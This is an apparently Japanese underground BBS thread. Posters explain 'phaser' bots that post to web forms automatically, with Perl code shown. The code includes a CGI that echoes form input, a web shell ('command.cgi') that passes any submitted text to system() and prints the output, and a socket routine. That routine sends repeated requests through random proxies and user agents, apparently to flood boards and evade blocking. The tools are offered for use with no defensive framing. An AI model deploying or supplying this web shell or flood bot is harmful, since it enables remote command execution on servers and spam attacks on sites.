黒イ 太 陽 ... [*]
ちわ アングラっていうかここは表サイトだけどナンでもいいョ まぁ適当に...俺が話しを理解できる程度に しばらくROMしている間に消えてしまうかも(プ 何度でも復活できるガ ツカ,リンクしちゃダメですカ?
>ソケットの概念を70字で誰か述べてくれないかい? >なぜフェイザー撃つのにソケットが必要なのか? 俺もそういう細かいとこはよくしらねぇよ ソケットってなに?ギャヒャ八 フェイザーってのはもとからあったフォームから送信するんじゃなくて 直接ポート80とかに接続してカッテニ作ったデータおくる程度じゃねぇか? フォームからどういう情報送ってるかは↓のスクリプトで見てみろ ―――――――――――――――――――――――――――― #!/use/local/bin/perl print "Content-type: text/html\n\n"; print "<pre>\n"; if (read (STDIN, $str, $ENV{'CONTENT_LENGTH'})) { print $str; } else { print $ENV{'QUERY_STRING'}; } print "</pre>\n"; exit(0); ―――――――――――――――――――――――――――― で,こんなカンジのHTMLを作ってこのフォームからPOSTしてヤれ... 別にGETでもいいがョ... <form action="↑のCGIの名前" method="post"> <input type="text" name="sine"> <input type="submit" name="kasu" value="submit"> </form> するとこういう感じに表示されるだろ? sine=お前が書いたやつ&kasu=submit これがさっきつくったフォームから送ったデータだよ フェイザー(書きこみエージェント)の場合はソケットつくって接続してやって リクエストヘッダー送るだけだよ...実際ブラウザでアクセスする場合と同じだな で,フェイザーってのは人間がやるみたいにちゃんとページをGETして 読んでからPOSTしてやるやつで,ただPOSTするやつはDUKEっていうらしいな... よくわからんが... ツカ,マジで勉強する気あるなら適当なソース書くョ ツカ,ネタ?ギャヒャ八
#!/usr/local/bin/perl # Script name... $script = "command.cgi"; $| = 1; print "Content-type: text/html\n\n"; read (STDIN, $buff, $ENV{'CONTENT_LENGTH'}); $buff =~ tr/+/ /; $buff =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack ("C", hex ($1))/eg; $buff =~ s/command=(.*)/$1/; print "<html>\n<head><title>$script</title></head>\n"; print "<body bgcolor=\"#000000\" text=\"#ffffff\">\n"; if ($buff) { print "$buff"; } print "<blockquote>\n<br><h2>system()</h3>\n"; print "<form action=\"$script\" method=\"post\">\n"; print "Command : <input type=\"text\" size=\"66\" name=\"command\" value=\"$buff\">\n"; print "<input type=\"submit\" value=\"aho\">\n</form>\n"; if ($buff) { print "<hr size=\"\"1>\n<xmp>\n"; system ("$buff"); print "</xmp>\n<hr size=\"\"1>\n"; } print "</body>\n</html>\n"; exit(0);
$Request = "$method $doc HTTP/1.0$EOL"; $Request.= "Referer: $ref$EOL"; $Request.= "User-Agent: $ua$EOL"; $Request.= "Host: $host$EOL"; $Request.= "Accept: */*$EOL"; $Request.= "Accept-Encoding: gzip$EOL"; $Request.= "Accept-Language: ja, en$EOL"; $Request.= "Accept-Charset: iso-8859-1,*,utf-8$EOL$EOL"; if ($method eq 'POST') { $Request.= "Content-type: application/x-www-form-urlencoded$EOL"; $Request.= "Content-length: $postlength$EOL$EOL$data$EOL$EOL"; }
sub my_socket { my ($data) = @_; $postlength = length ($data) if ($data); for ($i = 0; $i < $repeat; $i++) { close (SOCK) unless ($i == 0); if (! socket (SOCK, PF_INET, SOCK_STREAM, $proto)) { &error ("Error...", "socket: $! ($method)<br>"); } else { if ($proxy ne $host) { $proxy = $PROXY_LIST[int (rand (scalar @PROXY_LIST))]; chomp $proxy; ($proxy, $port) = split (':', $proxy); } if ($ua ne $ENV{'HTTP_USER_AGENT'}) { $ua = $AGENT_LIST[int (rand (scalar @AGENT_LIST))]; chomp $ua; } $Request = "$method $doc HTTP/1.0$EOL"; $Request.= "Referer: $ref$EOL"; $Request.= "User-Agent: $ua$EOL"; $Request.= "Host: $host$EOL"; $Request.= "Accept: */*$EOL"; $Request.= "Accept-Encoding: gzip$EOL"; $Request.= "Accept-Language: ja, en$EOL"; $Request.= "Accept-Charset: iso-8859-1,*,utf-8$EOL$EOL"; if ($method eq 'POST') { $Request.= "Content-type: application/x-www-form-urlencoded$EOL"; $Request.= "Content-length: $postlength$EOL$EOL$data$EOL$EOL"; } unless ($iaddr = inet_aton ($proxy)) { &error ("Error...", "inet_aton: $! ($method)<br>"); } if (! connect (SOCK, sockaddr_in ($port, $iaddr))) { &error ("Error...", "接続できません。<br>connect: $! ($method)<br>"); } else { select (SOCK); $| = 1 ; select (STDOUT); print SOCK $Request; } } } while (defined ($line = <SOCK>)) { $buff.= $line; } $buff =~ s/^(.|\n)+\015\012\015\012//; close (SOCK); return ($buff); } #*** End of sub "my_socket"...
BBS管理者: 安東清#731部隊